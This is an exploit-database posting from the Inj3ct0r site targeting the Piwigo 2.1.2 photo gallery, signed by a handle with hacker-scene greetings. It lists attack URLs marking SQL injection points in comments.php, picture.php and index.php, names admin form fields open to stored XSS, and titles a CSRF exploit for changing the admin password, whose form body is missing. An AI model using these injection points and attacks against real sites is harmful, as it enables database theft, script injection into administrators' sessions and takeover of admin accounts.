1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ###################################### 1 0 Sweet the Algerian Haxxor 0 1 ###################################### 0 0 1 1 [+]Exploit Title: piwigo-2.1.2 Multiple vulnerabilities 0 0 [+]Date: 11/09/2010 1 1 [+]Author: Sweet 0 0 [+]Contact : charif38@hotmail.fr 0 1 [+]Software Link: http://fr.piwigo.org 0 0 [+]Download:http://fr.piwigo.org/releases/2.1.2 1 1 [+]Version:2.1.2 0 0 [+]Tested on: WinXp sp3 1 1 [+]Risk : Hight 0 0 [+]Description : Piwigo is a software for picture web gallerie 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 --=Sql injection=-- http://www.target.com/path/comments.php?keyword=charif38@hotmail.fr&author=sweet&cat=1[SQLi]&since=1&sort_by=date&sort_order=DESC&items_number=5 http://www.target.com/path/picture.php?1sweet[SQLi]&action=rate=0 http://www.target.com/path/index.php?/search/10[SQli] --=Stored Xss=-- Admin login required Attack pattern : >' http://www.target.com/path/admin.php?page=tags The POST variable "Nouveau tag" is vulnerable to a stored xss attack http://www.target.com/path/admin.php?page=cat_list The POST variable "Ajouter une catégorie virtuelle" is vulnerable to a stored xss attack --=CSRF=-- Change admin password exploit

Piwigo-2.1.2 Change admin password CSRF

Push the Button

[ thx and RIP to Milw0rm.com , JF - Hamst0r - Keystroke you always be right here 3> ] , inj3ct0r.com , exploit-db.com 1,2,3 VIVA LALGERIE